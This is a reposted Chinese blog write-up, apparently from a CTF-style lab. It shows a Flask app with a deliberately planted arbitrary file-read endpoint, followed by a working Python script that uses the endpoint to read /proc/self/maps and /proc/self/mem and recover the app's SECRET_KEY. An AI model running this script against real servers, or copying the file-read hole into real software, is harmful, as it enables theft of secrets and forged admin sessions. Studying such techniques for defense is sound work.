Flask存储在内存中的密钥被读取

2023-12-16 14:05:11

局限性:查找的密钥具有特征码

一、Flask环境源码

1.Flask主文件main.py

import os
import uuid
from flask import Flask, request, session, render_template
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

ck = "2132131passwdwdwdw"
@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    return cat(filename, start, end)


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=80)


2.依赖文件cat.py

import os, sys, getopt


def cat(filename, start=0, end=0) -> bytes:
    data = b''

    try:
        start = int(start)
        end = int(end)

    except:
        start = 0
        end = 0

    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")

        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)

            else:
                data = f.read()

        else:
            data = f.read()

        f.close()

    else:
        data = ("File `%s` not exist or can not be read" % filename).encode()

    return data

二、内存读取密码脚本

import requests
import re
url = "http://192.168.31.165/"
# Flask预设了任意文件访问漏洞
map_list = requests.get(url + f"info?file=/proc/self/maps")
map_list = map_list.text.split("\n")
# map_list内容举例(/proc/self/maps)
# 7f463445e000-7f463445f000 r--p 00000000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f463445f000-7f4634463000 r-xp 00001000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634463000-7f4634464000 r--p 00005000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634464000-7f4634465000 r--p 00005000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
# 7f4634465000-7f4634466000 rw-p 00006000 08:05 4195590                    /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
print(len(map_list))
start = 0
end = 0
# 下面主要的思路是去进行暴力循环,然后再进行正则匹配(因为Flask具有特征其包含abcdefgh)
for i in map_list:
	# 这块内存区域需要具备可写入权限(r--表示可读不可写不可操作,rw-表示可读可写不可操作)
	# 因为这块区域是分配给我们程序的所有应该具备可写权限
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        # 匹配到该内存段的起始和结束地址
        # 获取该信息是我们读取/proc/self/maps的主要目的
        print("Found rw addr:", start, "-", end)
        # 读取内存空间,并进行正则字段匹配
        response = requests.get(url + f"info?file=/proc/self/mem&start={start}&end={end}")
        # print(response.text)
        if "abcdefgh" in response.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

文章来源:https://blog.csdn.net/weixin_46765649/article/details/134936770
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。